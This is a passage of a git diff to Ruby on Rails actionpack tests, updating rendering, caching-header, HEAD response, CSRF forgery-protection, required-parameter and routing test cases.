- assert_equal "Forbidden", @response.message
- assert_equal "something", @response.headers["X-Custom-Header"]
- assert_response :forbidden
- end
-
- def test_using_layout_around_block
- get :render_using_layout_around_block
- assert_equal "Before (David)\nInside from block\nAfter", @response.body
- end
-
- def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
- get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
- assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
- end
-
- def test_partial_only
- get :partial_only
- assert_equal "only partial", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_should_render_html_formatted_partial
- get :partial
- assert_equal "partial html", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
- @request.accept = "text/javascript, text/html"
-
- get :partial_html_erb
-
- assert_equal "partial.html.erb", @response.body.strip
- assert_equal "text/html", @response.content_type
- end
-
- def test_should_render_html_partial_with_formats
- get :partial_formats_html
- assert_equal "partial html", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_to_string_partial
- get :render_to_string_with_partial
- assert_equal "only partial", assigns(:partial_only)
- assert_equal "Hello: david", assigns(:partial_with_locals)
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_to_string_with_template_and_html_partial
- get :render_to_string_with_template_and_html_partial
- assert_equal "**only partial**\n", assigns(:text)
- assert_equal "<strong>only partial</strong>\n", assigns(:html)
- assert_equal "<strong>only html partial</strong>\n", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_to_string_and_render_with_different_formats
- get :render_to_string_and_render_with_different_formats
- assert_equal "<strong>only partial</strong>\n", assigns(:html)
- assert_equal "**only partial**\n", @response.body
- assert_equal "text/plain", @response.content_type
- end
-
- def test_render_template_within_a_template_with_other_format
- get :render_template_within_a_template_with_other_format
- expected = "only html partial<p>This is grand!</p>"
- assert_equal expected, @response.body.strip
- assert_equal "text/html", @response.content_type
- end
-
- def test_partial_with_counter
- get :partial_with_counter
- assert_equal "5", @response.body
- end
-
- def test_partial_with_locals
- get :partial_with_locals
- assert_equal "Hello: david", @response.body
- end
-
- def test_partial_with_form_builder
- get :partial_with_form_builder
- assert_match(/<label/, @response.body)
- assert_template('test/_form')
- end
-
- def test_partial_with_form_builder_subclass
- get :partial_with_form_builder_subclass
- assert_match(/<label/, @response.body)
- assert_template('test/_labelling_form')
- end
-
- def test_nested_partial_with_form_builder
- @controller = Fun::GamesController.new
- get :nested_partial_with_form_builder
- assert_match(/<label/, @response.body)
- assert_template('fun/games/_form')
- end
-
- def test_namespaced_object_partial
- @controller = Quiz::QuestionsController.new
- get :new
- assert_equal "Namespaced Partial", @response.body
- end
-
- def test_partial_collection
- get :partial_collection
- assert_equal "Hello: davidHello: mary", @response.body
- end
-
- def test_partial_collection_with_as
- get :partial_collection_with_as
- assert_equal "david david davidmary mary mary", @response.body
- end
-
- def test_partial_collection_with_counter
- get :partial_collection_with_counter
- assert_equal "david0mary1", @response.body
- end
-
- def test_partial_collection_with_as_and_counter
- get :partial_collection_with_as_and_counter
- assert_equal "david0mary1", @response.body
- end
-
- def test_partial_collection_with_locals
- get :partial_collection_with_locals
- assert_equal "Bonjour: davidBonjour: mary", @response.body
- end
-
- def test_locals_option_to_assert_template_is_not_supported
- warning_buffer = StringIO.new
- $stderr = warning_buffer
-
- get :partial_collection_with_locals
- assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
- assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
- ensure
- $stderr = STDERR
- end
-
- def test_partial_collection_with_spacer
- get :partial_collection_with_spacer
- assert_equal "Hello: davidonly partialHello: mary", @response.body
- assert_template :partial => '_customer'
- end
-
- def test_partial_collection_with_spacer_which_uses_render
- get :partial_collection_with_spacer_which_uses_render
- assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
- assert_template :partial => '_customer'
- end
-
- def test_partial_collection_shorthand_with_locals
- get :partial_collection_shorthand_with_locals
- assert_equal "Bonjour: davidBonjour: mary", @response.body
- assert_template :partial => 'customers/_customer', :count => 2
- assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
- end
-
- def test_partial_collection_shorthand_with_different_types_of_records
- get :partial_collection_shorthand_with_different_types_of_records
- assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
- assert_template :partial => 'good_customers/_good_customer', :count => 3
- assert_template :partial => 'bad_customers/_bad_customer', :count => 3
- end
-
- def test_empty_partial_collection
- get :empty_partial_collection
- assert_equal " ", @response.body
- assert_template :partial => false
- end
-
- def test_partial_with_hash_object
- get :partial_with_hash_object
- assert_equal "Sam\nmaS\n", @response.body
- end
-
- def test_partial_with_nested_object
- get :partial_with_nested_object
- assert_equal "first", @response.body
- end
-
- def test_partial_with_nested_object_shorthand
- get :partial_with_nested_object_shorthand
- assert_equal "first", @response.body
- end
-
- def test_hash_partial_collection
- get :partial_hash_collection
- assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
- end
-
- def test_partial_hash_collection_with_locals
- get :partial_hash_collection_with_locals
- assert_equal "Hola: PratikHola: Amy", @response.body
- end
-
- def test_render_missing_partial_template
- assert_raise(ActionView::MissingTemplate) do
- get :missing_partial
- end
- end
-
- def test_render_call_to_partial_with_layout
- get :render_call_to_partial_with_layout
- assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
- end
-
- def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
- get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
- assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
- end
-end
-
class ExpiresInRenderTest < ActionController::TestCase
tests TestController
- def setup
- @request.host = "www.nextangle.com"
- end
-
def test_expires_in_header
get :conditional_hello_with_expires_in
assert_equal "max-age=60, private", @response.headers["Cache-Control"]
@@ -1578,7 +313,6 @@ class LastModifiedRenderTest < ActionController::TestCase
def setup
super
- @request.host = "www.nextangle.com"
@last_modified = Time.now.utc.beginning_of_day.httpdate
end
@@ -1591,7 +325,7 @@ class LastModifiedRenderTest < ActionController::TestCase
@request.if_modified_since = @last_modified
get :conditional_hello
assert_equal 304, @response.status.to_i
- assert_blank @response.body
+ assert @response.body.blank?
assert_equal @last_modified, @response.headers['Last-Modified']
end
@@ -1606,7 +340,7 @@ class LastModifiedRenderTest < ActionController::TestCase
@request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
get :conditional_hello
assert_equal 200, @response.status.to_i
- assert_present @response.body
+ assert @response.body.present?
assert_equal @last_modified, @response.headers['Last-Modified']
end
@@ -1620,7 +354,7 @@ class LastModifiedRenderTest < ActionController::TestCase
@request.if_modified_since = @last_modified
get :conditional_hello_with_record
assert_equal 304, @response.status.to_i
- assert_blank @response.body
+ assert @response.body.blank?
assert_equal @last_modified, @response.headers['Last-Modified']
end
@@ -1635,11 +369,10 @@ class LastModifiedRenderTest < ActionController::TestCase
@request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
get :conditional_hello_with_record
assert_equal 200, @response.status.to_i
- assert_present @response.body
+ assert @response.body.present?
assert_equal @last_modified, @response.headers['Last-Modified']
end
-
def test_request_with_bang_gets_last_modified
get :conditional_hello_with_bangs
assert_equal @last_modified, @response.headers['Last-Modified']
@@ -1662,13 +395,8 @@ end
class EtagRenderTest < ActionController::TestCase
tests TestControllerWithExtraEtags
- def setup
- super
- @request.host = "www.nextangle.com"
- end
-
def test_multiple_etags
- @request.if_none_match = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key([ "123", 'ab', :cde, [:f] ]))}")
+ @request.if_none_match = etag(["123", 'ab', :cde, [:f]])
get :fresh
assert_response :not_modified
@@ -1676,8 +404,47 @@ class EtagRenderTest < ActionController::TestCase
get :fresh
assert_response :success
end
-end
+ def test_array
+ @request.if_none_match = etag([%w(1 2 3), 'ab', :cde, [:f]])
+ get :array
+ assert_response :not_modified
+
+ @request.if_none_match = %("nomatch")
+ get :array
+ assert_response :success
+ end
+
+ def test_etag_reflects_template_digest
+ get :with_template
+ assert_response :ok
+ assert_not_nil etag = @response.etag
+
+ request.if_none_match = etag
+ get :with_template
+ assert_response :not_modified
+
+ # Modify the template digest
+ path = File.expand_path('../../fixtures/test/hello_world.erb', __FILE__)
+ old = File.read(path)
+
+ begin
+ File.write path, 'foo'
+ ActionView::Digestor.cache.clear
+
+ request.if_none_match = etag
+ get :with_template
+ assert_response :ok
+ assert_not_equal etag, @response.etag
+ ensure
+ File.write path, old
+ end
+ end
+
+ def etag(record)
+ Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(record)).inspect
+ end
+end
class MetalRenderTest < ActionController::TestCase
tests MetalTestController
@@ -1687,3 +454,109 @@ class MetalRenderTest < ActionController::TestCase
assert_equal "NilClass", @response.body
end
end
+
+class HeadRenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_head_created
+ post :head_created
+ assert @response.body.blank?
+ assert_response :created
+ end
+
+ def test_head_created_with_application_json_content_type
+ post :head_created_with_application_json_content_type
+ assert @response.body.blank?
+ assert_equal "application/json", @response.header["Content-Type"]
+ assert_response :created
+ end
+
+ def test_head_ok_with_image_png_content_type
+ post :head_ok_with_image_png_content_type
+ assert @response.body.blank?
+ assert_equal "image/png", @response.header["Content-Type"]
+ assert_response :ok
+ end
+
+ def test_head_with_location_header
+ get :head_with_location_header
+ assert @response.body.blank?
+ assert_equal "/foo", @response.headers["Location"]
+ assert_response :ok
+ end
+
+ def test_head_with_location_object
+ with_routing do |set|
+ set.draw do
+ resources :customers
+ get ':controller/:action'
+ end
+
+ get :head_with_location_object
+ assert @response.body.blank?
+ assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+ assert_response :ok
+ end
+ end
+
+ def test_head_with_custom_header
+ get :head_with_custom_header
+ assert @response.body.blank?
+ assert_equal "something", @response.headers["X-Custom-Header"]
+ assert_response :ok
+ end
+
+ def test_head_with_www_authenticate_header
+ get :head_with_www_authenticate_header
+ assert @response.body.blank?
+ assert_equal "something", @response.headers["WWW-Authenticate"]
+ assert_response :ok
+ end
+
+ def test_head_with_symbolic_status
+ get :head_with_symbolic_status, :status => "ok"
+ assert_equal 200, @response.status
+ assert_response :ok
+
+ get :head_with_symbolic_status, :status => "not_found"
+ assert_equal 404, @response.status
+ assert_response :not_found
+
+ get :head_with_symbolic_status, :status => "no_content"
+ assert_equal 204, @response.status
+ assert !@response.headers.include?('Content-Length')
+ assert_response :no_content
+
+ Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
+ get :head_with_symbolic_status, :status => status.to_s
+ assert_equal code, @response.response_code
+ assert_response status
+ end
+ end
+
+ def test_head_with_integer_status
+ Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
+ get :head_with_integer_status, :status => code.to_s
+ assert_equal message, @response.message
+ end
+ end
+
+ def test_head_with_string_status
+ get :head_with_string_status, :status => "404 Eat Dirt"
+ assert_equal 404, @response.response_code
+ assert_equal "Not Found", @response.message
+ assert_response :not_found
+ end
+
+ def test_head_with_status_code_first
+ get :head_with_status_code_first
+ assert_equal 403, @response.response_code
+ assert_equal "Forbidden", @response.message
+ assert_equal "something", @response.headers["X-Custom-Header"]
+ assert_response :forbidden
+ end
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index 1f637eb791..3e0bfe8d14 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -52,20 +52,56 @@ module RequestForgeryProtectionActions
render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
end
+ def same_origin_js
+ render js: 'foo();'
+ end
+
+ def negotiate_same_origin
+ respond_to do |format|
+ format.js { same_origin_js }
+ end
+ end
+
+ def cross_origin_js
+ same_origin_js
+ end
+
+ def negotiate_cross_origin
+ negotiate_same_origin
+ end
+
def rescue_action(e) raise e end
end
# sample controllers
class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta), :with => :reset_session
+ protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :reset_session
end
class RequestForgeryProtectionControllerUsingException < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta), :with => :exception
+ protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :exception
end
+class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
+ protect_from_forgery :with => :null_session
+
+ def signed
+ cookies.signed[:foo] = 'bar'
+ render :nothing => true
+ end
+
+ def encrypted
+ cookies.encrypted[:foo] = 'bar'
+ render :nothing => true
+ end
+
+ def try_to_reset_session
+ reset_session
+ render :nothing => true
+ end
+end
class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
self.allow_forgery_protection = false
@@ -89,27 +125,29 @@ end
module RequestForgeryProtectionTests
def setup
@token = "cf50faa3fe97702ca1ae"
-
- SecureRandom.stubs(:base64).returns(@token)
+ @controller.stubs(:form_authenticity_token).returns(@token)
+ @controller.stubs(:valid_authenticity_token?).with{ |_, t| t == @token }.returns(true)
+ @controller.stubs(:valid_authenticity_token?).with{ |_, t| t != @token }.returns(false)
+ @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
end
def teardown
- ActionController::Base.request_forgery_protection_token = nil
+ ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
end
def test_should_render_form_with_token_tag
assert_not_blocked do
get :index
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_render_button_to_with_token_tag
assert_not_blocked do
get :show_button
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_render_form_without_token_tag_if_remote
@@ -139,7 +177,7 @@ module RequestForgeryProtectionTests
assert_not_blocked do
get :form_for_remote_with_external_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
ensure
ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
end
@@ -149,27 +187,31 @@ module RequestForgeryProtectionTests
assert_not_blocked do
get :form_for_remote_with_external_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
end
def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested
assert_not_blocked do
get :form_for_remote_with_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_render_form_with_token_tag_with_authenticity_token_requested
assert_not_blocked do
get :form_for_with_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_allow_get
assert_not_blocked { get :index }
end
+ def test_should_allow_head
+ assert_not_blocked { head :index }
+ end
+
def test_should_allow_post_without_token_on_unsafe_action
assert_not_blocked { post :unsafe }
end
@@ -179,7 +221,7 @@ module RequestForgeryProtectionTests
end
def test_should_not_allow_post_without_token_irrespective_of_format
- assert_blocked { post :index, :format=>'xml' }
+ assert_blocked { post :index, format: 'xml' }
end
def test_should_not_allow_patch_without_token
@@ -249,6 +291,64 @@ module RequestForgeryProtectionTests
end
end
+ def test_should_not_warn_if_csrf_logging_disabled
+ old_logger = ActionController::Base.logger
+ logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ ActionController::Base.logger = logger
+ ActionController::Base.log_warning_on_csrf_failure = false
+
+ begin
+ assert_blocked { post :index }
+
+ assert_equal 0, logger.logged(:warn).size
+ ensure
+ ActionController::Base.logger = old_logger
+ ActionController::Base.log_warning_on_csrf_failure = true
+ end
+ end
+
+ def test_should_only_allow_same_origin_js_get_with_xhr_header
+ assert_cross_origin_blocked { get :same_origin_js }
+ assert_cross_origin_blocked { get :same_origin_js, format: 'js' }
+ assert_cross_origin_blocked do
+ @request.accept = 'text/javascript'
+ get :negotiate_same_origin
+ end
+
+ assert_cross_origin_not_blocked { xhr :get, :same_origin_js }
+ assert_cross_origin_not_blocked { xhr :get, :same_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ xhr :get, :negotiate_same_origin
+ end
+ end
+
+ # Allow non-GET requests since GET is all a remote <script> tag can muster.
+ def test_should_allow_non_get_js_without_xhr_header
+ assert_cross_origin_not_blocked { post :same_origin_js, custom_authenticity_token: @token }
+ assert_cross_origin_not_blocked { post :same_origin_js, format: 'js', custom_authenticity_token: @token }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ post :negotiate_same_origin, custom_authenticity_token: @token
+ end
+ end
+
+ def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_disabled
+ assert_cross_origin_not_blocked { get :cross_origin_js }
+ assert_cross_origin_not_blocked { get :cross_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ get :negotiate_cross_origin
+ end
+
+ assert_cross_origin_not_blocked { xhr :get, :cross_origin_js }
+ assert_cross_origin_not_blocked { xhr :get, :cross_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ xhr :get, :negotiate_cross_origin
+ end
+ end
+
def assert_blocked
session[:something_like_user_id] = 1
yield
@@ -260,6 +360,16 @@ module RequestForgeryProtectionTests
assert_nothing_raised { yield }
assert_response :success
end
+
+ def assert_cross_origin_blocked
+ assert_raises(ActionController::InvalidCrossOriginRequest) do
+ yield
+ end
+ end
+
+ def assert_cross_origin_not_blocked
+ assert_not_blocked { yield }
+ end
end
# OK let's get our test on
@@ -268,18 +378,47 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController
include RequestForgeryProtectionTests
setup do
+ @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
end
teardown do
- ActionController::Base.request_forgery_protection_token = nil
+ ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
end
test 'should emit a csrf-param meta tag and a csrf-token meta tag' do
- SecureRandom.stubs(:base64).returns(@token + '<=?')
+ @controller.stubs(:form_authenticity_token).returns(@token + '<=?')
get :meta
assert_select 'meta[name=?][content=?]', 'csrf-param', 'custom_authenticity_token'
- assert_select 'meta[name=?][content=?]', 'csrf-token', 'cf50faa3fe97702ca1ae&lt;=?'
+ assert_select 'meta[name=?]', 'csrf-token'
+ assert_match(/cf50faa3fe97702ca1ae&lt;=\?/, @response.body)
+ end
+end
+
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+ class NullSessionDummyKeyGenerator
+ def generate_key(secret)
+ '03312270731a2ed0d11ed091c2338a06'
+ end
+ end
+
+ def setup
+ @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
+ end
+
+ test 'should allow to set signed cookies' do
+ post :signed
+ assert_response :ok
+ end
+
+ test 'should allow to set encrypted cookies' do
+ post :encrypted
+ assert_response :ok
+ end
+
+ test 'should allow reset_session' do
+ post :try_to_reset_session
+ assert_response :ok
end
end
@@ -320,23 +459,45 @@ class FreeCookieControllerTest < ActionController::TestCase
test 'should not emit a csrf-token meta tag' do
get :meta
- assert_blank @response.body
+ assert @response.body.blank?
end
end
class CustomAuthenticityParamControllerTest < ActionController::TestCase
def setup
- ActionController::Base.request_forgery_protection_token = :custom_token_name
super
+ @old_logger = ActionController::Base.logger
+ @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ @token = Base64.strict_encode64(SecureRandom.random_bytes(32))
+ @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+ ActionController::Base.request_forgery_protection_token = @token
end
def teardown
- ActionController::Base.request_forgery_protection_token = :authenticity_token
+ ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
super
end
- def test_should_allow_custom_token
- post :index, :custom_token_name => 'foobar'
- assert_response :ok
+ def test_should_not_warn_if_form_authenticity_param_matches_form_authenticity_token
+ ActionController::Base.logger = @logger
+ @controller.stubs(:valid_authenticity_token?).returns(:true)
+
+ begin
+ post :index, :custom_token_name => 'foobar'
+ assert_equal 0, @logger.logged(:warn).size
+ ensure
+ ActionController::Base.logger = @old_logger
+ end
+ end
+
+ def test_should_warn_if_form_authenticity_param_does_not_match_form_authenticity_token
+ ActionController::Base.logger = @logger
+
+ begin
+ post :index, :custom_token_name => 'bazqux'
+ assert_equal 1, @logger.logged(:warn).size
+ ensure
+ ActionController::Base.logger = @old_logger
+ end
end
end
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
index 661bcb3945..6803dbbb62 100644
--- a/actionpack/test/controller/required_params_test.rb
+++ b/actionpack/test/controller/required_params_test.rb
@@ -11,11 +11,13 @@ class ActionControllerRequiredParamsTest < ActionController::TestCase
tests BooksController
test "missing required parameters will raise exception" do
- post :create, { magazine: { name: "Mjallo!" } }
- assert_response :bad_request
+ assert_raise ActionController::ParameterMissing do
+ post :create, { magazine: { name: "Mjallo!" } }
+ end
- post :create, { book: { title: "Mjallo!" } }
- assert_response :bad_request
+ assert_raise ActionController::ParameterMissing do
+ post :create, { book: { title: "Mjallo!" } }
+ end
end
test "required parameters that are present will not raise" do
@@ -23,8 +25,27 @@ class ActionControllerRequiredParamsTest < ActionController::TestCase
assert_response :ok
end
- test "missing parameters will be mentioned in the return" do
- post :create, { magazine: { name: "Mjallo!" } }
- assert_equal "Required parameter missing: book", response.body
+ test "required parameters with false value will not raise" do
+ post :create, { book: { name: false } }
+ assert_response :ok
+ end
+end
+
+class ParametersRequireTest < ActiveSupport::TestCase
+
+ test "required parameters should accept and return false value" do
+ assert_equal(false, ActionController::Parameters.new(person: false).require(:person))
+ end
+
+ test "required parameters must not be nil" do
+ assert_raises(ActionController::ParameterMissing) do
+ ActionController::Parameters.new(person: nil).require(:person)
+ end
+ end
+
+ test "required parameters must not be empty" do
+ assert_raises(ActionController::ParameterMissing) do
+ ActionController::Parameters.new(person: {}).require(:person)
+ end
end
end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 305659b219..0e15883f43 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -1,8 +1,10 @@
require 'abstract_unit'
require 'active_support/core_ext/object/try'
require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/array/extract_options'
class ResourcesTest < ActionController::TestCase
+
def test_default_restful_routes
with_restful_routing :messages do
assert_simply_restful_for :messages
@@ -41,11 +43,11 @@ class ResourcesTest < ActionController::TestCase
:member => member_methods,
:path_names => path_names do |options|
- collection_methods.keys.each do |action|
+ collection_methods.each_key do |action|
assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", :action => action
end
- member_methods.keys.each do |action|
+ member_methods.each_key do |action|
assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", :action => action, :id => "1"
end
@@ -148,7 +150,7 @@ class ResourcesTest < ActionController::TestCase
end
assert_restful_named_routes_for :messages do |options|
- actions.keys.each do |action|
+ actions.each_key do |action|
assert_named_route "/messages/#{action}", "#{action}_messages_path", :action => action
end
end
@@ -178,7 +180,7 @@ class ResourcesTest < ActionController::TestCase
end
assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
- actions.keys.each do |action|
+ actions.each_key do |action|
assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
end
end
@@ -205,7 +207,7 @@ class ResourcesTest < ActionController::TestCase
end
assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
- actions.keys.each do |action|
+ actions.each_key do |action|
assert_named_route "/threads/1/messages/#{action}", "#{action}_thread_messages_path", :action => action
end
end
@@ -235,7 +237,7 @@ class ResourcesTest < ActionController::TestCase
end
assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
- actions.keys.each do |action|
+ actions.each_key do |action|
assert_named_route "/threads/1/messages/#{action}.xml", "#{action}_thread_messages_path", :action => action, :format => 'xml'
end
end
@@ -1003,7 +1005,7 @@ class ResourcesTest < ActionController::TestCase
end
end
- assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
end
end
@@ -1319,6 +1321,8 @@ class ResourcesTest < ActionController::TestCase
assert_recognizes options, path_options
elsif Array(not_allowed).include?(action)
assert_not_recognizes options, path_options
+ else
+ raise Assertion, 'Invalid Action has passed'
end
end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index f0430e516f..9caa5cbe57 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -2,6 +2,7 @@
require 'abstract_unit'
require 'controller/fake_controllers'
require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/object/json'
class MilestonesController < ActionController::Base
def index() head :ok end
@@ -57,13 +58,13 @@ class UriReservedCharactersRoutingTest < ActiveSupport::TestCase
end
class MockController
- def self.build(helpers)
+ def self.build(helpers, additional_options = {})
Class.new do
- def url_options
- options = super
+ define_method :url_options do
+ options = super()
options[:protocol] ||= "http"
options[:host] ||= "test.host"
- options
+ options.merge(additional_options)
end
include helpers
@@ -76,46 +77,47 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
include ActionDispatch::RoutingVerbs
attr_reader :rs
+ attr_accessor :controller
alias :routes :rs
def setup
- @rs = ::ActionDispatch::Routing::RouteSet.new
+ @rs = make_set
@response = nil
end
def test_symbols_with_dashes
rs.draw do
get '/:artist/:song-omg', :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
end
def test_id_with_dash
rs.draw do
get '/journey/:id', :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
assert_equal({"id"=>"faithfully-omg"}, hash)
end
def test_dash_with_custom_regexp
rs.draw do
get '/:artist/:song-omg', :constraints => { :song => /\d+/ }, :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/123-omg'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/123-omg'))
assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
assert_equal 'Not Found', get(URI('http://example.org/journey/faithfully-omg'))
end
@@ -123,24 +125,24 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_pre_dash
rs.draw do
get '/:artist/omg-:song', :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/omg-faithfully'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-faithfully'))
assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
end
def test_pre_dash_with_custom_regexp
rs.draw do
get '/:artist/omg-:song', :constraints => { :song => /\d+/ }, :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode ActionDispatch::Request.new(env).path_parameters
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/omg-123'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-123'))
assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
assert_equal 'Not Found', get(URI('http://example.org/journey/omg-faithfully'))
end
@@ -160,14 +162,14 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_star_paths_are_greedy_but_not_too_much
